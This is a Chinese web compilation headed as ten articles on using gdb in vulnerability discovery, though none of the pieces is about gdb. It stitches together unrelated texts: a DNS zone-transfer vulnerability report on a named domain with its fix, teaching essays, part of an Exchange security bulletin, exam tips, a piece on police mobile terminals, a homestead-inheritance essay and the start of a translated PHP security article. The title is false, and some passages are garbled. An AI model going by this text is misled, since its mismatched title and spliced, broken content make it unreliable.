浅谈gdb在漏洞发掘中的使用(共10篇)
浅谈gdb在漏洞发掘中的使用 篇1
区域传送操作指的是一台后备服务器使用来自主服务器的数据刷新自己的zone数据库.这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主域名服务器因意外故障变得不可用时影响到全局.但是如果配置不当就会引发漏洞,留下安全隐患,通过域传送漏洞可获得目标用户的大量信息(各种A记录,CNAME等),进一步可获得目标用户网络IP,从而分析目标的网络架构,给渗透提供了方便。
查询过程如图所显示:
查询结果保存在189store.com.txt中
使用如下指令查看
view 189store.com.txt
有74条记录
修复方案:
ns.westidc.com.cn(221.236.9.9) 与ns.westidc.net.cn(210.77.146.30) 都没有做访问控制
定义ACL(访问控制列表)来限制在域名服务器之间的区域传送
编辑/etc/named.conf
在189store.com的zone配置中设置
allow-transfer { localhost; 221.236.9.9; };
或
allow-transfer { localhost; 210.77.146.30; };
浅谈多媒体在教学中的恰当使用 篇2
随着信息技术的发展,计算机和互联网络作为一种新型的媒体,为教育教学注入了新的生机和活力。在教学中充分合理地使用多媒体技术不仅能激发学生浓厚的学习兴趣,创造愉悦的教学气氛,而且还能促进学生积极主动的学习,提高教学效率,起到以往传统教学无法达到的效果。但是在教育教学实践中,有很多教师不能从教学实际出发,盲目地依赖于多媒体,教师成了课堂上的放映员,学生成了忠实的观众,忽视了教师的主导作用和学生的主体地位,只注重冰冷的“人机对话”,缺乏师生的互动交流,教学效果不佳。
如何恰当地使用多媒体,最大限度地发挥其优势,更好地服务于课堂教学呢?我认为使用多媒体教学应该注意以下几个方面。
一、使用多媒体教学,应以学生为本,发挥教师的主导作用。
教学活动是师生的双边活动。教师在教学中起到主导作用,多媒体的介入,并不意味着学生不再需要教师了。尽管多媒体教学能代替教师进行讲授,但这只是代替了教师的一小部分。工作,不能完全取代教师的作用,特别不能代替教师的情感和机智。所以教师仍然是课堂的主导者,始终是教学活动的设计者、组织者、引导者。多媒体技术的应用对教师的要求提高了,例如对教材的理解、课件的制作、教学目标的实现和重、难点的突破等等。所以,就需要教师在没计制作课件时,要有自己的风格,不要单单是教材的简单重复,更不要是课堂教学的调味品。教师要根据教学内容和学生实际需要创造出特色,防止教学思路被多媒体左右。在教学实践中,有些教师不是从教学的需要出发.而是从所拥有的设备和媒体来设计教学,是为了用多媒体而用多媒体,这就出现了教学手段与教学目的异位的现象。由此,我们应该认识到,无论多媒体多么方便、快捷,它也只是实现教学目的的工具手段,教学手段应该服从并为教学目的服务。
二、使用多媒体教学,应紧扣教材,不要因运用多媒体而偏离课堂主体。多媒体的应用能够把被感知的对象形象、直观地呈现出来,通过图、文、声、视、动等刺激学生的多种感官,使原本枯燥的教学课堂生动化,激发学生的学习兴趣,促使他们的注意力更加集中、持久、稳定,思维更加活跃,从而达到预期的教学目的。但在实际教学工作中,由于有的教师对教学大纲和教材把握不准,导致有些课件或多或少地偏离了教学目标。适当地运用多媒体辅助教学是很有必要的,但如果运用过多或不当,就会偏离教学主题。例如有些教师的课件画面背景复杂,按钮奇形怪状,并且使用大量的动画和音响,这些“花”、“好玩”的课件,恰恰是画蛇添足、喧宾夺主违背了学生在认识事物时在一定时间内只能接受其主要信息的认知规律,分散了学生的注意力,冲淡了学生对学习重点、难点的关注,最终影响到教学的实际效果。
三、使用多媒体教学,应掌握节奏,选择恰当的时机。
教学中使用多媒体课件,节省了板书的时间,增大了课堂容量。但如果节奏控制不好,很容易使教学过程过快,学生应接不暇,来不及消化,久而久之,学生就会失去学习的热情。这样就会导致在多媒体课堂教学中,以多媒体课件的演示代替学生的思维过程,整个课件将整节课的结构按照教师的课前设想进行整合,这样压缩了学生从问题到解决问题的思维环节,学生根本没有足够的时间深入思考,长此以往,便会使学生独自发现问题、探索问题、解决问题的能力降低,学生的创造性思维受到抑制。因此,使用多媒体辅助教学时,教师要注意留给学生充分思考的时间,把主要精力放在启发、点拨和活跃课堂气氛上,从而不断调动学生学习的积极性。
浅谈gdb在漏洞发掘中的使用 篇3
浅谈多媒体在高中化学教学中的应用
单位名称:长子县第一中学 作者姓名:程晓青 赵树妮 关瑾瑜 通讯地址:山西省长子县第一中学校 联系电话:*** 程晓青
*** 赵树妮 *** 关瑾瑜
邮 编:046600 邮箱地址:1070787498@qq.com
浅谈多媒体在高中化学教学中的应用
摘 要:化学是一门以实验为基础的自然学科。它不但强调理论知识的学习,更注重实 验能力的培养。多媒体可以化静为动,化虚为实,化抽象为直观;同时,用多媒体辅助教 学,能创设逼真的教学环境、动静结合的教学图象、生动活泼的教学气氛,充分调动学生的 积极性;并且能够拓展课本知识体系,拓宽教学的时间和空间,加深课堂学习的内涵和外延。因而,随着课改教育的深入开展,多媒体在中学化学教学中越来越体现出其优越性。但不切合实际地滥用媒体,或使用不当,反而会影响教学效果。
关键词:化学教学 多媒体教学 多媒体技术
随着现代科学技术的飞速发展,多媒体已进入高中化学的课堂教学之中,现行的课堂教学评价标准中也都有了正确使用多媒体的要求,因此把多媒体引入课堂教学也是实现教育现代化的一个重要内容。然而,在课堂教学中,尤其是化学课堂的教学中,学生是主体,教师起主导作用,而各种媒体则只能起辅助教学作用。在一节课的教学中,能否使用多媒体,使用哪种多媒体都应该根据教学的实际需要来确定,不能滥用多媒体。恰如其分地使用多媒体技术辅助教学,会给教学带来事半功倍的教学效果。相反,不切实际的滥用多媒体,会严重影响实际的教学效果的落实。
一、使用多媒体教学的益处
1、多媒体教学使课堂变得更加丰富多彩,且可化静为动,使学生更易感知知识的形成过程
应用多媒体辅助教学,能根据教材的内容和教学需要,化静为动,动静结合,使静态的知识动态化;能直观生动地展示图形的变化,有效地激发学生探究新知识的兴趣,使教与学充满了生机,让学生学得主动,加深其对知识的理解,并逐步了解知识的形成过程。利用多媒体不仅可以播放一些与课堂教学相关的化工生产过程和化工产品的视频材料,而且我们将一些枯燥的知识点制成浅显易懂、图文并茂的动画,把一些看不到摸不着的抽象东西形象化、具体化;把难以操作、观察的实验、化工生产流程图利用计算机进行模拟。如CO还原CuO实验可以模拟正确实验情景,同时可以演示因操作不当引起爆炸的情景等。这样,学生通过感性认识、思考、总结、归纳,达到理性认识,既增强了学生学习兴趣,又可以培养学生归纳推理能力。再如在氯气的课堂教学中播放云南寻甸公司氯气泄漏71名工人被熏倒及重庆氯气泄露爆炸,群众紧急大撤离,庄稼被毁的场面,学生看后好像亲自经历了一样,在随后的教学中他们都显得很兴奋,并且很积极的配合教学工作的开展。
2、利用多媒体辅助教学,突破教学难点,发展学生思维
多媒体教学的优势在于既能提供直观形象和生动逼真的动态图像,发展学生的观察能力和空间想象能力,又能伴随着图象的变化、动听的音乐,诱发愉快的学习情绪。例如,在进行苯分子的教学时,可以利用多媒体向学生展示苯分子的球棍模型,比例模型并进行360见,利用多媒体辅助教学,学生学得轻松,教师教得省力,提高了教学效率。
o旋转,学生们很快就能了解其结构特点,并在随后的练习中较快而且准确地完成了任务。可
3、运用多媒体,有利于课堂分层训练。
传统课堂训练中一般采用一刀切的做法,即不管学生的层次都做同样的练习题。结果优等生吃不饱,后进生吃不了。而运用多媒体的分类显示屏就能很好地克服这一弊病,如在教学后,可以在后进生分类屏上显示基础题,中等生分类屏上显示部分基础题和少量拔高题,优等生分类屏上则显示少量基础题和部分拔高题。这样便很好地调动了学生的积极性,真正做到了因材施教。
4、多媒体使练习形式多样化,及时反馈、实现课堂教学的有效。
多媒体的交互性能还可以提供各种丰富多彩、生动活泼、容量大、反应快的反馈信息。多媒体可以实现对学生课堂联系的及时反馈,学习知识的目的在于灵活运用知识,课堂练习是对知识的巩固和运用的最好方式。现在的中学生稳定性差,易疲劳,只有不断的改变练习形式,不断给学生以新的刺激,才能使他们保持旺盛的战斗力。多媒体的最大成功之处在于化学习被动为主动,化抽象为具体,通过带娱乐性的练习,能轻松巩固已学知识,从而切实激发学生发自内心的学习兴趣,真正做到“减负提素”之目的。比如在练习中编各种形式的选择题、填空题、是非题等,由多媒体来判断学生解答的正确与否,根据练习的情况,给予必要表扬和鼓励等。
5、利用多媒体技术可以实现一些难以具体操作的实验
比如,在实验教学中,则因为氯气的毒性太大而无法在普通实验室展开,所以可以采用多媒体课件动画模拟实验操作以及氯气的性质实验,达到了没有氯气味而让学生成功掌握氯气制备各个操作环节注意事项的实验效果。可以防止因在操作中不当而引起的中毒事件,也可以模拟有毒气体二氧化硫使品红溶液褪色的实验等,既可以达到很好的教学效果,又可以调动学生的积极性,同时可以节省宝贵的时间。
6、利用多媒体技术可以开阔学生视野
在化学教学中,特别是复习课的教学,内容繁杂,任务重,需大量板书,而课堂时间有限,若许多内容在课堂上临时板书,既费时又费力,甚至完不成课堂教学任务。而利用PowerPoint制成课件或将知识网络、图表、典型例题等内容利用展台适时地展示给学生,会节省出大量的时间让学生参与讨论、思考,既有效增加了课堂教学容量,提高了教学效率,达到传授知识的目的,又提高了学生积极参与的主动性,达到开发智力,培养能力的目的[1]。
二、滥用多媒体的坏处
使用多媒体进行教学虽然有很多好处,但是过多使用多媒体,特别是对于不适合用多媒体进行教学的课程,会达到相反的效果。尽管多媒体作为现代教学工具,在教学中确实可以提高一定的教学效果,然而有些教师把多媒体说成是提高教学效果的灵丹妙药,过多地追求和利用多媒体,把使用多媒体上课看作一种时尚。甚至有一些教师纯粹以多媒体替代板书与挂图之用,还以用了多媒体而自豪。这样做,便忽视了任何事物都有其所长,亦有其所短的道理。总的来讲,多媒体固然有其他教学工具所无法比拟的优越性,但它只是实施教学的手段之一,并不是唯一的,他并不能完全代替传统的教学方法而大行其道。比如挂图的静态展示功能、教学模型的空间结构功能以及板书的适时性与针对性,都是多媒体所不能完全替代的。所以,教师应根据教学需要选择多媒体教学,让多媒体教学与传统的教学有机结合。
三、如何正确使用多媒体
1、根据教学内容的需要选择多媒体
在课堂教学过程中,许多教师都认为运用多媒体是上课的必备条件,尤其在各种公开课或者优质课大赛中,执教者不管教学内容是否需要,只是一味地追求多媒体带来的视觉效果,一律采用多媒体教学。这个时候计算机、大屏幕及相关的PPT课件,均成了节省板书和板画的投影仪,看似精彩的教学,实际上只是一个形式多样的空架子。所以我们在教学中首先应根据教学内容的需要选择合适的媒体来辅助教学内容的实施[2]。如在介绍化学知识成果、水、空气、矿物质等资源、金属材料、燃料、人类的营养物质及环境保护等方面内容时,因学生对这些较为直观的知识本身就有一定的生活经验,故采用录像、录音等光盘教学手段就能完成。而对于分子、原子等微观粒子及高速运动状态的认识、原子的构成、核外电子排布、离子化合物和共价化合物的形成等理论知识的教学中,采用多媒体辅助教学来突破重难点会起到画龙点睛的作用。同时,采用多媒体模拟演示,用动画、声音、图片等手段,可将微观世界生动直观地展现在学生面前,既有利于学生建立科学的概念,又能调动学生的学习积极性,会取得良好的教学效果。但在好多化学课的教学过程中,使用光盘及课件的效果还不如投影仪使用方便,省时。所以说在教学过程中,应该根据教学内容的需要和实际情况选择使用合适的媒体辅助教学。
2、根据教学过程的需要选择媒体
随着现代教育技术的普遍提高,在电教条件较好的学校,个别教师的课堂教学成了录像、课件展示课,往往按动鼠标就能完成教学全过程。其原因是过分依赖现代教育媒体,而忽视了传统教学中诸如语言、板书、直观教具等的作用。将计算机引入课堂教学是有许许多多的优势,但是,它只能是教学辅助设备,也只能是根据教师在教学过程中的需要而出现,在突破教学难点、突出重点的时候采用多媒体,会让学生提高学习兴趣、注意力集中、思维敏捷。如在讲“二氧化碳的实验室制法探究”一节时,学生根据演示实验的现象进行讨论产生思路后,如用CAI系统的演示,通过慢镜头处理,播放产生气体过程增强了学生对气体制取条件及发生装置和收集装置的理解和探究。推动了学生兴奋的延续。尽管课堂上只是使用了几分钟的多媒体设施,但比之整堂课使用,学生兴奋分散疲劳的效果明显。所以说在教学过程中,应该使用什么媒体、什么时候使用等都应该根据教学内容的需要而设计。
3、根据实验性质选择多媒体
化学是一门以实验为基础的学科,在实验过程中可以培养学生的动手能力和观察能力,也是培养学生创新思维和创新能力的主要阵地。因则,我们认为,可以用实验展示的现象或实验本身一般是不适宜选用多媒体来替代的。即使要使用,也应该结合实验本身。如一些在课堂上无法完成的演示实验或现象,以及在现有的条件下无法完成的一些经典实验,则可以通过计算机多媒体系统模拟来实现,帮助解决问题。如由原子形成分子的过程、人工降降雨的原理、一氧化碳和一氧化氮的毒性实验等都可采用多媒体技术向学生展示,故根据实验性质合理选择多媒体教学手段,可激发学生学习化学的兴趣,同时会收到良好的教学效果。
四、注重多种媒体与师生教学过程的配合和协调
多媒体教学按照常规的理解就是在教学过程中使用多种媒体进行的教学活动。在一节课中,语言表述是基础,板书、板画是纲要,撇开这些片面地追求多媒体的感官刺激必然造成教学上的失败。如果我们采用CAI系统教学,从上课到下课学生全部是观看大屏幕来完成,且不说引起兴奋的手段单一,学生在诸多能力培养方面也是单一的,所得到的必然是学习基础不扎实。多媒体毕竟是为教师教学服务的,选择你所熟悉的多媒体为教学服务会达到事半功倍的效果。如投影仪的使用可以很好地配合观察实验、讨论、阅读及复习课的纲要。采用CAI系统,由于声音、立体动画等效果,会更加突出教学的重点、突破教学难点。当然,一堂课中应该以一种电教媒体为主,如采用投影时,尽可能不使用挂图,在CAI系统中,就要尽可能少使用投影、录像等。假若不注意媒体之间的配合和协调,就会搞的课堂花稍、气氛虽活泼,而效果不佳。
总之,随着科学技术的飞速发展,越来越多的电教媒体会融入课堂教学中来。只要我们能够摆正学生---教师---多媒体之间的关系,处理好多媒体在课堂教学中的辅助地位,恰当使用多媒体,并且将多媒体与化学学科特点充分结合、巧妙运用,优化课堂结构,优化教学信息量的传递途径,就会让课堂教学进行的更精彩,教学实效会更佳,从而达到提高学生综合素质的目的。因此,我们要不断探索和实践,让多媒体在化学教学中发挥更大的作用。
参考文献:
1、高荣林《现代教育技术》苏州大学出版社。
浅谈gdb在漏洞发掘中的使用 篇4
版本:1.0
摘要
本文的目标读者:使用 microsoft exchange 的客户
漏洞的影响:远程执行代码
最高严重等级:严重
建议:用户应立即应用此更新,
安全更新替代:此公告替代以前的安全更新。 有关完整列表,请参阅本公告的“常见问题解答 (faq)”部分。
注意事项:microsoft 知识库文章 916803 介绍了客户在安装此安全更新时可能遇到的当前已知问题。 本文还介绍了这些问题的建议解决办法。 有关详细信息,请参阅 microsoft 知识库文章 916803。
测试过的软件和安全更新下载位置:
受影响的软件:
•
带有 年 8 月的 exchange post-service pack 2000 更新汇总的 microsoft exchange server 2000(870540) C 下载此更新
•
microsoft exchange server service pack 1 C 下载此更新
•
microsoft exchange server 2003 service pack 2 C 下载此更新
不受影响的软件:
已对此列表中的软件进行了测试,以确定是否这些版本会受到影响。 其他版本或者不再包括安全更新支持,或者可能不会受到影响。 要确定产品和版本的技术支持生命周期,请访问 microsoft 产品技术支持生命周期网站。
有关 exchange 2000 server post-service pack 3 更新汇总的详细信息,请参阅 microsoft 知识库文章 870540,
微软的安全公告:
www.microsoft.com/china/technet/security/bulletin/ms06-019.mspx
(以上链接均连到第三方网站)
摘要:
此更新可消除一个秘密报告的新发现漏洞。 本公告的“漏洞详细资料”部分中对此漏洞进行了说明。
成功利用此漏洞的攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
我们建议用户立即应用此更新
严重等级和漏洞标识符:
漏洞标识符漏洞的影响exchange 2000 serverexchange server 2003 service pack 1exchange server 2003 service pack 2
exchange 日历漏洞 - cve--0027
远程执行代码
严重
严重
严重
浅谈gdb在漏洞发掘中的使用 篇5
那么如何才能在考研政治中取得成功呢?面对繁多的需要记诵的内容,是自暴自弃、是随波逐流,还是坐起身来赶紧复习呢?复习考研政治是要讲究方法的。作为并不是很熟悉政治的考生来讲该怎么复习政治呢?
注意复习的方法和技巧。复习课本不是逐字逐句地细致阅读,但也不是简单的翻一遍,或是单纯的背诵一遍,必须要注意方法和技巧。虽说是基础阶段的第一轮复习,但实际上它包含两遍:
(1)先把课本读“厚”。具体做法是:结合《大纲》,把每一课的知识点都找出来,逐个消化。需要知识的识记,需要理解运用的知识点,要再通读一下课本上的相关内容,特别是自己不理解的重点问题,除了求助同学之外,还要做少量相关的习题。这一遍复习不能留下任何的`知识死角。要下苦功夫细致地复习,时间不够要抽时间,把识记、看课本和做题有效地结合起来。另外,每复习一个阶段要做一套检测题,检查一下自己知识点上还有没有漏洞,以便及时查漏补缺。李老师建议:复习完每一章内容后做一套试题,自我检测。
(2)再把课本读“薄”。根据记忆规律,我们过一段时间还要重复复习一下前面我们复习过的内容,但时间有限,我们必须找出可行的方法!专家建议是:每进行完一个阶段,就要及时地总结一下,用一个专门的本子,列出知识框架结构,并找出里面重点的知识和自己认为比较难的知识点,以备日后快速有效的复习。同时要做一个习题集,记录下那些自己做错的且比较重要的试题,每次考试前都要抽时间翻一下。
掌握科学、高效的应试技巧与方法。科学的应试技巧和方法主要包括:头脑清醒、情绪稳定;仔细审题、务求准确;先易后难,掌握时间;思路清晰,逻辑严密;语言流畅,表达规范;沉着冷静,随机应变;巧妙组合,自主发挥;注意复查,切勿急躁。
考生在解答分析题时尤其需要注意以下几点:首先,要仔细审题,认真阅读材料,分清每个材料所蕴含的主要观点,然后选择与题目要求相符合的基本原理。由于有的题目对答题的内容、范围、要求等没有明确规定,考生难以直接从材料对比分析中概括出来某一基本原理。因此,这就需要考生在复习备考时加强对基本理论和基本知识的理解、掌握,努力提高自己的辨别能力和概括能力。
其次,要全面、完整地阐述有关基本原理。要牢记,运用基本理论分析实际问题主要是进行理论性的回答,并不要求就具体实际问题作繁琐的分析。还要提醒考生注意的是,有时所给的事实材料或命题判断可能体现了若干个基本原理,而不只是单一的原理,这就需要考生全面考虑,抓住最恰当的原理来论述。
最后,要紧扣题目材料,准确引用材料中的文字和引证其中的有关事实,运用有关理论作出恰当的综合、概括、比较、鉴别和分析。提醒同学们在此复习阶段一定要把错题本重视起来,对于自己之前错的题型认真归纳总结一下。
关注和剖析社会现实问题和理论“热点”问题。研究生入学考试政治理论方面的试题,固然把政治理论课中的基本原理作为重要的评价目标,但是根本的评价目标是:在考查基本知识、基本理论的基础上,注重考查考生运用马克思主义的基本立场、观点和方法分析和解决实际问题的能力。在对这一“能力”的考查方面,“评价目标”中提出了两个具体要求:“运用有关原理,解释和论证某种观点,辨明理论是非”;“用马克思主义的观点和方法,比较和分析有关社会现象或实际问题”。要适应上述考查目标的要求,考生首先必须通过多种途径,关注和熟悉国内外的重大事件、重要的社会现实问题以及当前的理论“热点”、某些理论是非问题;然后尝试运用学过的马克思主义原理去分析、解剖,或采取在同学中进行讨论的方式,提高运用基本原理去理解、认识社会实际问题的能力和辨别理论是非的能力。
考研路途漫漫,希望以上建议能给后来考研的同学们一点帮助。扎扎实实,平常对待,坚持不懈,定会胜利!考研教育网预祝13年学子在考研中取得佳绩!
浅谈在交警工作中如何使用警务通 篇6
案例一:火眼金睛,在逃嫌犯无处遁形
“他们怎么会知道我犯过事儿的?”犯罪嫌疑人李某在被民警抓获后一直抱着这样的疑问。2010年10月26日上午,民警李益龙在温州翠微大道双乐路口进行日常交通管理。一辆牌照为浙CQJ980的二轮摩托车因违反禁令标志被查获。当民警利用警务通核查驾驶人身份时,赫然显示的是“在逃人员”!于是将嫌犯擒获。
案例二:“山寨的士”,警务通前显原形
2010年10月19日上午,交警四大队民警在新火车站宁波路进行巡逻管理时,使用警务通查询一辆车牌号为浙CT2447的出租车,发现该车无任何可显示信息,立即依法扣留了这辆“山寨出租车”。案例三: 假证黑车,路上被追回
2010年10月29日上午,一辆辆车牌号为浙K70933的二轮摩托车被二大队值勤交警吴某拦下。吴某利用用警务通对证件上的信息进行核对,发现该车行驶证上的车主名字和警务通系统里显示的名字不同。将驾驶员员王某带回警队做进一步调查后,王某承认所驾驶的摩托车是一辆“被盗抢”车辆。
难道,警务通真的那么神通广大吗?为此,笔者将警务通使用前和使用后做一个对比,以此突显出警务通在交通安全管理中的确发挥了巨大的作用。一、从交警办案方面来谈、警务通能提高交警执法科技含量
“警务通”系统是公安交通管理现代化、科技化、信息化的重要执法装备,它借助于目前先进的无线通讯技术,通过公安部认证的边界接入系统,实现无线用户与全国公安网的安全接入,达到全国公安网信息资源共享的目的,一线交通民警通过移动警务通可以进行交通违法处理,对车辆信息、人口信息、在逃人员、盗抢车辆、警务信息、公共信息等迅速地进行查询比对,并能运用“警务通”进行现场取证、违法处罚、当场打印法律文书等操作,随时随地获得公安业务信息的支持,但在没有警务通之前,交警开罚单,开发票都只能用手写,每次上路都要带上一大堆材料,在开罚单的时候也很容易弄丢已开过的罚单,罚单写错了还不可以涂改。另外,交警在开完罚单之后,还要回到警队,把罚款的各种信息录入到系统里面。这不仅加重了工作量,而且还极容易出现错误。
2、提高交警人员的工作效率。
在使用警务通之前,交警拦下某辆车之后,怀疑车主未办理驾驶证时,司机不一定会承认,如果路面执勤交警想要查阅当事人有关信息,必须通过电台对讲系统、手机等通讯工具,与后方联系,请后方帮助查找,或者自己回到办公室再查找。整个过程需要花费很长时间。开通了“警务通”后,执勤民警发现车辆违章时,只需将违章驾驶员的身份证或驾驶证号码和违章车辆牌号等,以短信形式发送到公安信息资料查询库,即可在几秒内完成对驾驶员、机动车辆等相关信息的查询,迅速对各类违章车辆进行处理并备案,使办事效率得到大大提高,做到真正意义上的“数字警察”和“科技强警”。自信都交警携带“警务通“上路以来,已经查获了36起假牌假证的违法信息,3、信息当场录入 数据可共享
使用警务通,不用交警手写,避免了以前室外书写困难情况下容易出现的差错。警务通还能够自动打印一式三联的法律文书,第一联交警存根,第二联当事人保存,第三联银行缴款。当事人只要在法律文书上签字就可以了。
交警路面执法记录将实时无线上传到省交警总队违法系统数据库,各个勤务大队执法办事窗口将可以同时获得有关信息,大队办事窗口无需二次录入。
交警部门还将把违法信息数据同时共享给银行,银行柜台也无需二次录入,当事人凭打印的处罚决定书,即可到银行缴纳罚款。4、实时数据比对 提高管控能力
警务通能够实时核对是否存在假牌、假证、报废车辆或超期年检等违法现象,并自动比对全国在逃人员信息库和被盗抢车辆库,及时发现违法犯罪嫌疑人、嫌疑车辆以及隐性违法行为。
没有使用移动警务通,路面执勤交警想要查阅当事人有关信息,必须通过电台对讲系统、手机等通讯工具,与后方联系,请后方帮助查找,或者自己回到办公室再查找。5、驾驶证计分可直接生成
如果司机在一年中第一次有轻微的交通违法行为,“警务通”将向值勤交警提供相关信息,司机就可以免除罚款处罚,只被警告。另外,如果司机的驾驶证记满12分了,那也别在街上开车溜达了,因为“警务通”会帮助交警查到有关记录,扣留驾驶证。、几秒钟即可锁定犯罪嫌疑人
由于已与警务平台联网,警务通不仅可以供交巡警交通执法之用,还能协助治安防控。据介绍,以前交警只要发现可疑车辆,一般需与市交警支队指挥中心联系,以期确认。这为嫌疑人逃走提供了可乘之机。而使用警务通后,这种情况 将得到改观。如果输入的违法驾驶员和车辆信息是上网追缉的对象,就会闪现出报警对话框,不仅在逃犯逃不过警务通的“眼睛”,被盗车、黑车等同样会被它揪出来。
此外,警务通还增加了对非机动车、行人交通违法的现场处罚功能,这为路面值勤民警提高工作效率,增强路面管控能力,提供了高效的技术支撑。
二、从民众自身来谈
警务通中的身份认证协议及系统,在移动警务通网络安全中占据着十分重要的位置,研究和分析相关身份认证协议,设计安全的认证协议及系统,是保证警务通通信安全的必要条件,有着非常重要的现实意义。1、交通违法罚单可现场打印
过去,交巡警查处交通违法行为时,都是现场填写执法单据,然后将存根联带回大队,录入电脑并传输。使用移动警务通之后,交巡警在路上进行交通违法处罚,将不需要像以前那样手写罚单,而是输入违法驾驶员的驾驶证号、车牌号、违法代码等相关信息,就可以现场处罚违章车辆了。这样既方便快捷,也能避免以前室外书写困难情况下容易出现的差错。
不仅如此,打印罚单所用时间也从原来手写的3—4分钟缩短到30秒—1分钟,大大提高了效率。违法人在打印罚单上签字后立即生效,并在全市交巡警执法信息平台自动生成记录。警务通还能够自动打印法律文书,罚单大小就像超市打印的购物小票,违法驾驶员根据罚单要求,到银行缴纳罚款。它所打印的罚单一共有三联:第一联交警存根,第二联当事人保存,第三联银行缴款。当事人只要在法律文书上签字就可以了。、让违法人员无法抵赖
对一辆车号为鲁H09087的摩托车进行检查,当要求驾驶人出示两证时,驾驶人李某只出示行驶证,并谎称驾驶证因出门较急,忘记在家中。民警遂用“警务通”当面进行查询,仅用1分钟就查出李某并未办理驾驶证,民警遂将摩托车暂扣。驾驶人李某见民警能用“手机”查询到自己没有驾驶证的事实,有些难以置信地说:我经常早出晚归,有时碰到交警检查,也是说驾驶证在家中未带,想不到今天还是被查到了,你们手里这个东西真厉害。3、三、警务通在交通安全管理中的确发挥着极大的作用。
1、是践行科学发展观的具体措施。
科学发展观第一要义是发展。必须提高自主创新能力。实现长期持续发展要依靠科技进步和劳动力素质的提高。(摘自《中共中央关于制定国民经济和社会发展长十一五年规划的建议》2005年10月11日)。移¬¬¬动警务系统是宜春市公安局党委根据科学发展观第一要义是发展的要求,依靠科技手段强警,结合当前的形势和任务,立足全市公安工作对信息化应用的迫切需求,积极依托电信公司的资源优势而建立的一种全新的公安信息化应用平台,它依托公用移动网络通道,以移动手机、笔记本电脑为终端,采用无线数据加密传输等技术手段,实现民警移动终端与公安数据库的安全接入,具备移动警务执法服务和移动办公等多种功能,可以为民警提供及时、准确的警务信息,实现人口信息、警务动态、交管信息等数据库综合查询,以及移动数据维护等多种信息化办公的要求。是公安机关落实和贯彻科学发展观的具体举措。
2、是交通管理执法中体现以人为本的具体表现。
科学发展观的核心是以人为本。交通管理部门是执法单位,坚持以人为本,践行执法为民。就是要创建一个以人为本的执法环境,维护人民利益。移动警务通的投入使用,使交通警察路面执法规范化、程序化。路面执勤执法中,民警可以利用警务通查询交通参与者驾驶证和车辆的状态,减去了到交警大队专门窗口查询的麻烦。充分体现了以人为本的基本理念,真正将以人为本融入到交通安全管理中。
3、是科技强警的重要手段。
在我们日常的交通管理工作中,在路上执法的工作量和难度越来越大,查处交通违法或其他可疑情况,路面民警只能通过电话与中队或大队联系,请求协助查证,不仅费时费力且效率较低。移动警务通的推出,正好适应一线作战的交警的需要,整合多项业务数据,具备移动无线查询和业务处理功能的集成化技术装备。另外,要真正实现人性化的管理,就必须以强大的科技手段做支撑,现在的大部分的交通违法行为是开具处罚单不暂扣驾驶证件的,民警在平时的值勤中,检查一位驾驶人的驾驶证件,从证件的表面是看是看不出来他的交通违法记录、记分记录、交通违法罚款是否处理记录、交通事故处理记录、证件暂扣记录等,甚至不能现场判定证件的真假记录等。
移动警务通作为执法高科技装备到交通民警在路面手中,民警只要在现场通过移动警务通进行查询,直接与后台数据库连接,当场可以实现驾驶员、机动车信息查询、实施交通违法告知、现场处罚等各项工作,使路面执勤民警在工作中如虎添翼,给路面执法带来快捷和方便。
4、是交通安全管理工作的“轻武器”。
自宜春市第一批“警务通”配发至宜春交警支队直属大队后,给该大队路面执勤执法带来了极大的便利,在道路交通安全管理中发挥了极大的作用。
浅谈宅基地使用权中的继承问题 篇7
农村宅基地使用权的继承问题可以简化为以下三种模型,其中尤以第三种情形矛盾最为突出。
第一种,父母是农村户口,子女也是农村户口,并且父母去世时子女未成年,和父母居住在一起,那么就不存在继承的问题。因为宅基地使用权的主体虽然要求是本集体经济组织的成员,但实务上通常以户为单位设立,并按“一户一宅”的原则分配。宅基地使用权由父母和子女共有,子女原本就是宅基地使用权人。
第二种,父母是农村户口,子女也是农村户口,但父母去世时子女已成年,并且已经依法申请了自己的宅基地。根据实务上的一般做法,子女依然可以通过继承父母的房屋而合法地继承房屋下的宅基地的使用权。这种做法某种程度上虽然破坏了“一户一宅”的原则,但我认为这是合理的。宅基地是集体所有的土地,也是当地人祖祖辈辈生活的土地,如果没有宪法第十条的规定,我国实行土地公有制,他们基本实际上已经享有了这片土地的所有权。当集体有100个人时,每个人占1|100,当集体只有50人时,每个人的份额自然上升到1|50。所以实务上国家未坚持执行“一户一宅”的原则,而是允许农村居民因继承拥有两处以上的宅基地的做法是合情合理的。一味坚持“一户一宅”原则,会产生国家想倾轧集体土地份额的嫌疑,因为随着城镇化的脚步,农村户口必然会减少。
第三种,父母是农村户口,子女因升学等原因户口迁出,那么当父母去世时,子女若想继承宅基地使用权,首先必须换回原籍,即在本集体经济组织中落户,并要符合申请宅基地的条件,否则只可继承房屋,不可继承土地,继承人必须将宅基地归还给集体,得到的只是一座“空中花园”。根据人们的常识“地随房走,房随地走”,这显然是有悖常理的。农村人有价值的遗产一般就是房屋,而房屋一旦离开了土地,就是一座废墟,失去它的使用价值和经济价值,而且老宅更是家族精神的象征,一旦拆除,就会破坏文化传统。所以,强制要求继承人是本集体经济组织的成员是不合理的。我认为继承人可以继承的依据不应该是作为本集体经济组织的成员,而是作为这片土地的祖先的后人。而且《物权法》和《土地管理法》均没有明文禁止城镇非农业户口居民在农村建房、对集体土地享有宅基地使用权。对于公民来说,法无明文禁止即可行为。所以,我认为子女应该当然继承房屋及宅基地使用权,无须重新落户并申请。
浅谈gdb在漏洞发掘中的使用 篇8
翻译:analysist <” target=_blank>www.nsfocus.com/>
之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少,Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在www.securereality.com.au/studyinscarlet.txt找到。
由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。
文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。
好了,废话少说,我们言归正传!
[全局变量]
